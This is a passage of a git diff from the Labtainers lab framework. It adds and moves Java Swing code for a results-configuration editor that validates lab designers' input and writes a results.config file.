+//WRITING~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Update the results.config file with the user's input + public String writeResultsConfig(boolean usetmp){ + File resultsConfigFile = null; + try { + String resultTag, + container, + file, + fieldType, + fieldID, + lineType, + lineID, + timeStampType, + timeStampDelimiter; + String comments; + String resultsConfigText = ""; + + ErrorHandler error = new ErrorHandler(); + ArrayList resultTagList = new ArrayList(); //Used for duplication checking + + //Iterate through each artifact + for(int i=0;i < listofArtifacts.size();i++){ + error.checkReset(); //Reset the error statuses for a new artifact line + + String artifactConfigLine = ""; + artifactConfigLine = listofArtifacts.get(i).comments; + if(artifactConfigLine == null){ + artifactConfigLine = ""; + } + + //RESULTS TAG + resultTag = listofArtifacts.get(i).resultTag; + resultTagList.add(resultTag); + + //Checks if resultTag is valid or inputted + if(resultTag.matches("^[a-zA-Z0-9_-]+$")) + artifactConfigLine += (resultTag + " = "); //add to artifact Config line + else if(resultTag.isEmpty() || resultTag.equals("")) + error.resultTagMissing = true; + else{ + System.out.println("Bad resultTag "+ resultTag); + error.resultError = true; + } + + //FILEID CONFIG + file = listofArtifacts.get(i).fileID; + container = listofArtifacts.get(i).container; + ToolTipWrapper timeStampTypeTTW = listofArtifacts.get(i).timeStampType; + timeStampType = timeStampTypeTTW.getItem(); + timeStampDelimiter = listofArtifacts.get(i).timeStampDelimiter; + + if(file.isEmpty() || file.equals("")){ + System.out.println("Bad file for resultTag "+ resultTag); + error.fileIDMissing = true; + } + //Checks if non-file-path file input has .stdin | .stdout | .prgout dottag + //Note: most OS, but Windows use backslashes as a File seperator + //else if(!file.contains("/")){ + // if(!file.contains(".")){ + // System.out.println("Bad file, missing dot for resultTag "+ resultTag); + // error.fileError = true; + // } + //} + + //CONTAINER (if a specific container is selected) + if(containerList.size() > 1 && !container.equals("ALL")){ + artifactConfigLine += (container); + artifactConfigLine += ":"; + } + + //TIMESTAMP DELIMITER (if Serivce or Program was selected in the Timestamp combobox) + if(timeStampDelimiterAccessible.contains(timeStampType)){ + //Checks if the file is a file path when a user inputs a time delimiter + if(file.contains("/") && !(timeStampDelimiter.isEmpty() || timeStampDelimiter.equals(""))){ + artifactConfigLine += (file+ ":" + timeStampDelimiter); + + if((timeStampType).equals("Service")) + artifactConfigLine += ".service"; + } + else{ + if(!file.contains("/")) + error.timeDelimiterError = true; + else + error.timeDelimiterMissing = true; + } + } + else + artifactConfigLine += file; //could be a .[stdin | stdout | prgout], file_path + + + //FIELD TYPE + /* + If the timeStampType is "LOG_TS" and the fieldType is "CONTAINS", then the fieldType will be "LOG_TS" + If the timeStampType is "LOG_TS" and the fieldType is "FILE_REGEX", then the fieldType will be "FILE_REGEX_TS" + If the timeStampType is "LOG_RANGE" and the fieldType is "CONTAINS", then the fieldType will be "LOG_RANGE" + If the timeStampType is "LOG_RANGE" and the fieldType is "FILE_REGEX", then the fieldType will be "RANGE_REGEX" + */ + ToolTipWrapper fieldTypeTTW = listofArtifacts.get(i).fieldType; + fieldType = fieldTypeTTW.getItem(); + + if(timeStampType.equals("LOG_TS")){ + if(fieldType.equals("CONTAINS")) + fieldType = "LOG_TS"; + else if(fieldType.equals("FILE_REGEX")) + fieldType = "FILE_REGEX_TS"; + } + if(timeStampType.equals("LOG_RANGE")){ + if(fieldType.equals("CONTAINS")) + fieldType = "LOG_RANGE"; + else if(fieldType.equals("FILE_REGEX")) + fieldType = "RANGE_REGEX"; + } + artifactConfigLine += (" : " + fieldType); + + //FIELD ID + //if field type is "LINE_COUNT or CHECKSUM" then don't look into the Field TYPE and Line ID and Line Type + if(!justFieldType.contains(fieldType)){ + fieldID = listofArtifacts.get(i).fieldID; + + //If the field type is TOKEN, check if the field ID is a number 1-9 or ALL or LAST + if(fieldType.equals("TOKEN") && (fieldID.equals("0") || !(fieldID.matches("^[0-9]+$") || fieldID.equals("ALL") || fieldID.equals("LAST")))) + error.fieldTypeTokenError = true; + + //If the field type is PARAM, check if the value is a postive number or zero + else if(fieldType.equals("PARAM") && !(fieldID.trim().matches("^[0-9]+$"))){ + System.out.println("PARAM field id is "+fieldID); + error.fieldTypeParamError = true; + + //Check if the user didn't inputted anthing in the Field ID + }else if(fieldID.isEmpty() || fieldID.equals("")) + error.fieldIDMissing = true; + + //If all is good with the above checks, then concatenate the fieldID to the artifactLine + else + artifactConfigLine += (" : " + fieldID); + + //LINE_TYPE and LINE ID + //Is LineType and Line ID relevant based on field type? if so, then... + if(lineParamAccessible.contains(fieldType)){ + ToolTipWrapper lineTypeTTW = listofArtifacts.get(i).lineType; + lineType = lineTypeTTW.getItem(); + lineID = listofArtifacts.get(i).lineID; + + if(!lineType.equals("NONE")){ + //Check if there is a line ID input if the user has a line type + if(lineID.isEmpty() || lineID.equals("")) + error.lineIDMissing = true; + else if(lineType.equals("LINE") && (lineID.equals("0") || !(lineID.matches("^[0-9]+$")))){ + error.lineIDError = true; + } + else if(timeStampType.equals("LOG_TS") && lineType.equals("HAVESTRING")) + artifactConfigLine += (" : " + "HAVESTRING_TS" + " : " + lineID); + else if(timeStampType.equals("LOG_TS") && lineType.equals("REGEX")) + artifactConfigLine += (" : " + "REGEX_TS" + " : " + lineID); + else + artifactConfigLine += (" : " + lineType + " : " + lineID); + } + } + } + + //If there's no error, put the artifactConfigLine in the resultsConfigText string, + //Otherwise the overallPass of the user input is false + if(error.userInputCheck(i+1)){ + if(i < listofArtifacts.size()-1) + artifactConfigLine+= "\n"; + //Add the artifact config line to the Results Config text + resultsConfigText += artifactConfigLine; + } + else + error.fail(); + } // end for each artifact + + //Check for duplicate result tags + error.checkDuplicateResultTags(resultTagList); + /* + for(String rt : resultTagList) + System.out.println(rt); + */ + + if(error.passStatus()){ + //Resets the results.config file + resultsConfigFile = initializeResultConfig(usetmp); + + try ( //Write the resultsConfigText to the results.config + BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, true))) { + writer.write(resultsConfigText+"\n"); + writer.close(); + } + /* + if(usetmp){ + String new_file = resultsConfigFile.getAbsolutePath(); + String old_file = getResultsPath(); + boolean same = CompareTextFiles.compare(old_file, new_file); + if(!same){ + retval = false; + System.out.println("files differ"); + } + } + */ + } + else + JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); + } + catch (IOException ex) { + Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); + } + if(resultsConfigFile != null){ + return resultsConfigFile.getAbsolutePath(); + }else{ + return null; + } + } + private String getResultsPath(){ + String retval = mainUI.getCurrentLab() + File.separator + "instr_config" + File.separator + "results.config"; + return retval; + } + //Checks if the results.config file exists and prepares the result.config file for the lab + private File initializeResultConfig(boolean usetmp) throws IOException{ + //Get the filepath for the lab's results.config + File resultsConfigFile; + if(!usetmp){ + resultsConfigFile = new File(getResultsPath()); + }else{ + Path tempDir=null; + try{ + tempDir = Files.createTempDirectory(mainUI.getLabName()); + }catch(IOException ex){ + System.out.println("failed creating temporary directory" + ex); + System.exit(1); + } + String dir_s = tempDir.getFileName().toString(); + resultsConfigFile = new File(File.separator+"tmp" +File.separator+dir_s+ File.separator + "results.config"); + } + //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments + //String baseText = + // "# results.config" + System.lineSeparator() + // + "#" + System.lineSeparator() + // + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); + + if(resultsConfigFile.exists()){ + //Overwrite results.config file if it already exists + try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, false))) { + // writer.write(baseText); + } + return resultsConfigFile; + } + else if(resultsConfigFile.createNewFile()){ + //Create new results.config file otherwise(if it does not already exist) + try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile))) { + //writer.write(baseText); + } + return resultsConfigFile; + } + else{ //File could not be created so return error message + System.out.println("Results Config File couldn't be initialzed."); + return null; + } + } + + //Handles all the error data and error checking before writing the results.config + private class ErrorHandler{ + private boolean overallPass; + private String errorMsg; + private boolean + resultError, + fileError, + timeDelimiterError, + fieldTypeTokenError, + fieldTypeParamError, + lineIDError, + + resultTagMissing, + fileIDMissing, + timeDelimiterMissing, + fieldIDMissing, + lineIDMissing; + + + ErrorHandler(){ + overallPass = true; + errorMsg = ""; + checkReset(); + } + + void fail(){ + overallPass = false; + } + + //Resets the error status(used right before looking at new artifact line) + private void checkReset(){ + resultError = false; + fileError = false; + timeDelimiterError = false; + fieldTypeTokenError = false; + fieldTypeParamError = false; + lineIDError = false; + + resultTagMissing = false; + fileIDMissing = false; + timeDelimiterMissing = false; + fieldIDMissing = false; + lineIDMissing = false; + + } + + //Builds error message detailing the errors that appear in the user input + boolean userInputCheck(int artifactIndex){ + boolean rowPassed = true; + String infoMsg = "Results Line: " + artifactIndex + System.lineSeparator(); + + if(resultTagMissing){ + rowPassed = false; + infoMsg+= "-Result Tag input is missing." + System.lineSeparator(); + } + if(fileIDMissing){ + rowPassed = false; + infoMsg+= "-File ID input is missing." + System.lineSeparator(); + } + if(timeDelimiterMissing){ + rowPassed = false; + infoMsg+= "-Time Delimiter input is missing." + System.lineSeparator(); + } + if(fieldIDMissing){ + rowPassed = false; + infoMsg+= "-Field ID input is missing." + System.lineSeparator(); + } + if(lineIDMissing){ + rowPassed = false; + infoMsg+= "-Line ID input is missing)." + System.lineSeparator(); + } + if(resultError){ + rowPassed = false; + infoMsg+= "-Make sure your Results Tag has only alphanumeric characters or underscores." + System.lineSeparator(); + } + //if(fileError){ + // rowPassed = false; + // infoMsg+= "-Make sure your File ID file's extentsion ends in \".stdin\", \".stdout\", or \".prgout\"." + System.lineSeparator() + " Or is a file path." + System.lineSeparator(); + //} + if(timeDelimiterError){ + rowPassed = false; + infoMsg+= "-Timestamp Delimiter Option is only available if your File ID is a file path." + System.lineSeparator(); + } + if(fieldTypeTokenError){ + rowPassed = false; + infoMsg+= "-If your Field Type is TOKEN then make sure your Field ID is a positve number(zero exclusive), \"ALL\", or \"LAST\"." + System.lineSeparator(); + } + if(fieldTypeParamError){ + rowPassed = false; + infoMsg+= "-If your Field Type is PARAM then make sure your Field ID is a positve number(zero inclusive)." + System.lineSeparator(); + } + if(lineIDError){ + rowPassed = false; + infoMsg+= "-If your Line Type is LINE then make sure your Line ID is a positve number(zero exclusive)." + System.lineSeparator(); + } + + + if(!rowPassed) + errorMsg += (infoMsg + System.lineSeparator()); + + return rowPassed; + } + + //Check for duplicate results Taga + void checkDuplicateResultTags(ArrayList resultTags){ + ArrayList markedResultTags = new ArrayList(); + + //Store all the indices for each unique result tag + for(int i=0;i 1){ + duplicateErrorMsg+= "Duplicate Result Tag: \"" + rt.resultTag + "\" on rows "; + + for(int i=0;i indices; + + ResultTagIndices(String resultTag, int index){ + this.resultTag = resultTag; + indices = new ArrayList(); + indices.add(index); + } + + void addIndex(int index){ + indices.add(index); + } + } + + //Is the result tag already in the duplicate list? + boolean isDuplicate(ArrayList markedResultTags, String resultTag){ + for(ResultTagIndices rtIndices : markedResultTags){ + if(rtIndices.resultTag.equals(resultTag)) + return true; + } + return false; + } + + //Get the duplicate object based on the duplicate string + ResultTagIndices getDuplicate(ArrayList markedResultTags, String resultTag){ + for(ResultTagIndices rtIndices : markedResultTags){ + if(rtIndices.resultTag.equals(resultTag)) + return rtIndices; + } + return null; + } + + + @Override + public String toString(){ + return errorMsg; + } + + boolean passStatus(){ + return overallPass; + } + } + + +//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + //Gets the artifact lines in the results.config + protected ArrayList getArtifactLines(){ + ArrayList artifacts = new ArrayList(); + + try { + File resultsConfig = new File(mainUI.getCurrentLab()+File.separator+"instr_config"+File.separator+"results.config"); + + //Get the artifact lines + if(resultsConfig.exists()){ + try (FileReader fileReader = new FileReader(resultsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + String line = bufferedReader.readLine(); + String result_line = ""; + while (line != null) { + //just checks if the first character is: not empty, not a hash, and not whitspace) + result_line = result_line + line; + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))){ + artifacts.add(result_line); + result_line = ""; + }else{ + result_line=result_line+"\n"; + } + line = bufferedReader.readLine(); + } + } + return artifacts; + } + else{ + System.out.println("No results.config file in the loaded lab!"); + //Create the missing results.config file + resultsConfig.createNewFile(); + return artifacts; + } + } + catch (IOException e) { + System.out.println("Issue with getting result.config artifacts"); + return null; + } + } + + //Updates the list of artifacts + protected void updateListofArtifacts(JPanel PanelofArtifacts){ + Component[] artifacts = PanelofArtifacts.getComponents(); //Access the list of artifacts + + List listofArtifactsTMP = new ArrayList(); + + //Iterate through each artifact and add it to the temp list of artifact values + for (Component artifact : artifacts) { + //RESULTS TAG + String resultTag = ((ArtifactPanels) artifact).getTagTextField().getText(); + //FILEID CONFIG + String file = ((ArtifactPanels) artifact).getFileTextField().getText(); + String container = (String) (((ArtifactPanels) artifact).getContainerComboBox().getSelectedItem()); + System.out.println(container); + ToolTipHandlers.ToolTipWrapper timeStampType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getTimeStampComboBox().getSelectedItem()); + String timeStampDelimiter = ((ArtifactPanels) artifact).getTimeStampTextField().getText(); + //FieldType + ToolTipHandlers.ToolTipWrapper fieldType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getFieldTypeComboBox().getSelectedItem()); + String fieldID = ((ArtifactPanels) artifact).getFieldIDTextField().getText(); + //LINE_TYPE and LINE ID + ToolTipHandlers.ToolTipWrapper lineType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getLineTypeComboBox().getSelectedItem()); + String lineID = ((ArtifactPanels) artifact).getLineIDTextField().getText(); + String comments = ((ArtifactPanels) artifact).getComments(); + + listofArtifactsTMP.add(new ArtifactValues(resultTag, container, file, fieldType, fieldID, lineType, lineID, timeStampType, timeStampDelimiter, comments)); + } + + listofArtifacts = listofArtifactsTMP; //overwrite the old listofArtifacts with the temp listofArtifacts + } + + //Swaps the position of artifacts in a list + protected void swapArtifacts(String type, int rowIndex){ + + switch(type){ + case "UP": + if(rowIndex > 0){ + //System.out.println("UP: "+listofArtifacts.get(rowIndex).resultTag+" Index: "+rowIndex); + Collections.swap(listofArtifacts, rowIndex, rowIndex-1); + } + break; + case "DOWN": + //System.out.println(rowCount); + //System.out.println("RowINdex: " + rowIndex + " RowCount-1: "+ (rowCount-1)); + if(rowIndex < rowCount-1){ + //System.out.println("DOWN: "+listofArtifacts.get(rowIndex).resultTag); + Collections.swap(listofArtifacts, rowIndex, rowIndex+1); + } + break; + default: + System.out.println("swap case no register"); + } + } + + //Gets a list of ArtifactValues from the the current state of the results.config file + protected List getArtifactValuesOfConfigFile(){ + List officialListofArtifacts = new ArrayList(); + + ArrayList artifactLines = getArtifactLines(); + + if(artifactLines != null){ + + for(String artifactLine : artifactLines){ + ArtifactValues values = new ArtifactValues(artifactLine); + officialListofArtifacts.add(values); + } + return officialListofArtifacts; + } + else + return null; + } + + //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise + static boolean artifactValuesDiffer(List list1, List list2){ + if(list1.size() != list2.size()){ + return true; + } + else{ + //This is a gross implemenation of comparing each individual value between two sets of Artifact Values (Maybe conisder implementing the ArtifactValues Class as a comparable) + for(int i=0;i list1, List list2) method + static private void printlistValues(List list1, List list2, int i){ + System.out.println("Result Tag: "); + System.out.println("UI: "+list1.get(i).resultTag); + System.out.println("Config: "+list2.get(i).resultTag); + System.out.println(); + + System.out.println("File ID: "); + System.out.println("UI: "+list1.get(i).fileID); + System.out.println("Config: "+list2.get(i).fileID); + System.out.println(); + + System.out.println("Field Type: "); + System.out.println("UI: "+list1.get(i).fieldType); + System.out.println("Config: "+list2.get(i).fieldType); + System.out.println(); + + System.out.println("Field ID: "); + System.out.println("UI: "+list1.get(i).fieldID); + System.out.println("Config: "+list2.get(i).fieldID); + System.out.println(); + + System.out.println("Line Type: "); + System.out.println("UI: "+list1.get(i).lineType); + System.out.println("Config: "+list2.get(i).lineType); + System.out.println(); + + System.out.println("Line ID: "); + System.out.println("UI: "+list1.get(i).lineID); + System.out.println("Config: "+list2.get(i).lineID); + System.out.println(); + + System.out.println("TimeStamp Type: "); + System.out.println("UI: "+list1.get(i).timeStampType); + System.out.println("Config: "+list2.get(i).timeStampType); + System.out.println(); + + System.out.println("TimeStamp Delim: "); + System.out.println("UI: "+list1.get(i).timeStampDelimiter); + System.out.println("Config: "+list2.get(i).timeStampDelimiter); + System.out.println(); + + System.out.println("CONTAINER: "); + System.out.println("UI: "+list1.get(i).container); + System.out.println("Config: "+list2.get(i).container); + System.out.println(); + + + + + + + } + + // Artifact Value objects that reference the old Container to the new Container name + public void refactorContainerReference(String oldContainer, String newContainer){ + //Updates the listOfValues to reflect a change of a conainer name to a new name + for(ArtifactValues artifact : listofArtifacts){ + //System.out.println(artifact.container + " " + oldContainer); + if(artifact.container.equals(oldContainer)){ + artifact.container = newContainer; + System.out.println(artifact.container); + } + } + + //Update the container list with the renamed container + ArrayList tmp = new ArrayList(); + for(String container : containerList){ + if(container.equals(oldContainer)) + tmp.add(newContainer); + else + tmp.add(container); + } + containerList = tmp; + } + + //Updates container list and removes Artifact Value objects that reference the container + public void removeContainerReference(String container){ + // Deletes all artifact lines that include the container + ArrayList toRemove = new ArrayList(); + for(ArtifactValues artifact : listofArtifacts){ + if(artifact.container.equals(container)) + toRemove.add(artifact); + } + listofArtifacts.removeAll(toRemove); + + //Update delete the container in the container list + containerList.remove(container); + } + + +//GETTERS~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + protected List getListofArtifacts(){ + return listofArtifacts; + } + + protected ArrayList getContainerList(){ + return containerList; + } + + protected int getRowCount(){ + return rowCount; + } + + protected MainWindow getMainWindow(){ + return mainUI; + } + public ArrayList getResultNames(){ + ArrayList resultTagList = new ArrayList(); + String resultTag; + //Iterate through each artifact + for(int i=0;i < listofArtifacts.size();i++){ + resultTag = listofArtifacts.get(i).resultTag; + resultTagList.add(resultTag); + } + return resultTagList; + } + public List getBooleanResults(){ + List booleanResults = new ArrayList(); + for(int i=0;i < listofArtifacts.size();i++){ + if(booleanResultTypes.contains(listofArtifacts.get(i).fieldType.getItem())){ + String resultTag = listofArtifacts.get(i).resultTag; + booleanResults.add(resultTag); + } + } + return booleanResults; + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.form similarity index 58% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.form index 8fa23d5a7..3ec7f6c52 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsUI.form +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.form @@ -1,17 +1,16 @@ - + - - - + + + + - - - + @@ -37,52 +36,52 @@ - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - + + + + - + - - - - - - - - - + + + - + @@ -90,77 +89,63 @@ - + + + + + + + - - - - - - - - + + - + - + - + - - - - - - - - - - - - - + - - - - - - - - - - - - + - + + + + + + + + + + @@ -170,13 +155,13 @@ - + - - + + @@ -188,23 +173,13 @@ - + - - - + - + - - - - - - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.java new file mode 100644 index 000000000..4f809d0a0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsUI.java @@ -0,0 +1,417 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.resultsui; + +import java.awt.Component; +import java.awt.Dimension; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JScrollBar; +import labtainers.mainui.MainWindow; +import static labtainers.resultsui.ResultsData.artifactValuesDiffer; + +/** + * + * @author Daniel Liao + */ +public class ResultsUI extends javax.swing.JFrame { + + /** + * Creates new form NewJDialog + */ + ResultsData data; + ResultsData saved; + MainWindow mainUI; + + public ResultsUI(java.awt.Frame parent, boolean modal) { + //super(parent, modal); + initComponents(); + this.setVisible(true); + resultsScrollPaneBar = ScrollPaneOfArtifacts.getVerticalScrollBar(); + + this.mainUI = (MainWindow)parent; + this.data = new ResultsData(this.mainUI.getCurrentData().getResultsData()); + this.saved = new ResultsData(this.data); + + loadUI(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ScrollPaneOfArtifacts = new javax.swing.JScrollPane(); + PanelofArtifacts = new javax.swing.JPanel(); + CreateButton = new javax.swing.JButton(); + RemoveAllButton = new javax.swing.JButton(); + UpdateButton = new javax.swing.JButton(); + jLabel5 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + CancelButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + setTitle("Results Configuration"); + setMaximumSize(new java.awt.Dimension(1590, 10000)); + setMinimumSize(new java.awt.Dimension(1590, 500)); + setResizable(false); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + }); + + PanelofArtifacts.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT)); + ScrollPaneOfArtifacts.setViewportView(PanelofArtifacts); + + CreateButton.setText("Create"); + CreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateButtonActionPerformed(evt); + } + }); + + RemoveAllButton.setText("Remove All"); + RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveAllButtonActionPerformed(evt); + } + }); + + UpdateButton.setText("OK"); + UpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpdateButtonActionPerformed(evt); + } + }); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel5.setText("File"); + jLabel5.setToolTipText("File should either be a file path or a program/utility name with the \".stdin\", \".stdout\", or \".prgout\" extension.\n\n Ex. \"test.stdin\", \".local/result/sniff.txt\" "); + + jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel3.setText("Field Type"); + jLabel3.setToolTipText("The mode in which a value is found."); + + jLabel2.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel2.setText("Container"); + jLabel2.setToolTipText("Identifies the container hosting the file. \nIf \"ALL\" is selected, then the file is across all the containers."); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel1.setText("Result Tag"); + jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); + + CancelButton.setText("Cancel"); + CancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CancelButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(CreateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(RemoveAllButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addGap(87, 87, 87) + .addComponent(jLabel1) + .addGap(79, 79, 79) + .addComponent(jLabel2) + .addGap(73, 73, 73) + .addComponent(jLabel5) + .addGap(111, 111, 111) + .addComponent(jLabel3))) + .addGap(0, 0, Short.MAX_VALUE)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGap(0, 12, Short.MAX_VALUE) + .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.PREFERRED_SIZE, 1566, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addContainerGap()) + .addGroup(layout.createSequentialGroup() + .addGap(452, 452, 452) + .addComponent(UpdateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 95, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(CancelButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(CreateButton) + .addComponent(RemoveAllButton)) + .addGap(37, 37, 37) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(jLabel2) + .addComponent(jLabel5) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ScrollPaneOfArtifacts, javax.swing.GroupLayout.PREFERRED_SIZE, 397, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(UpdateButton) + .addComponent(CancelButton)) + .addContainerGap(58, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed + createButton(); + }//GEN-LAST:event_CreateButtonActionPerformed + + private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed + removeAllButton(); + }//GEN-LAST:event_RemoveAllButtonActionPerformed + + private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed + if(updateButon()){ + mainUI.setResultsClosed(); + setVisible(false); + dispose(); + } + }//GEN-LAST:event_UpdateButtonActionPerformed + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + mainUI.setResultsClosed(); + }//GEN-LAST:event_formWindowClosing + + private void CancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CancelButtonActionPerformed + mainUI.setResultsClosed(); + setVisible(false); + }//GEN-LAST:event_CancelButtonActionPerformed + + // BUTTONS // + + // Adds a new artifact panel + private void createButton(){ + addResultsPanel(new ArtifactPanels(this, ResultsData.containerList,data.rowCount+1)); + resultsScrollPaneBar.setValue(resultsScrollPaneBar.getMaximum()); + } + + // Updates the results data object basd on the current results configuration UI state + private boolean updateButon(){ + boolean retval = true; + data.updateListofArtifacts(PanelofArtifacts); + saved = new ResultsData(data); + String fname = saved.writeResultsConfig(true); + if(fname == null){ + retval = false; + }else{ + this.mainUI.getCurrentData().setResultsData(saved); + } + return retval; + } + + // Removes all the artifact panels + private void removeAllButton(){ + if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ + removeAllArtifacts(); + } + } + 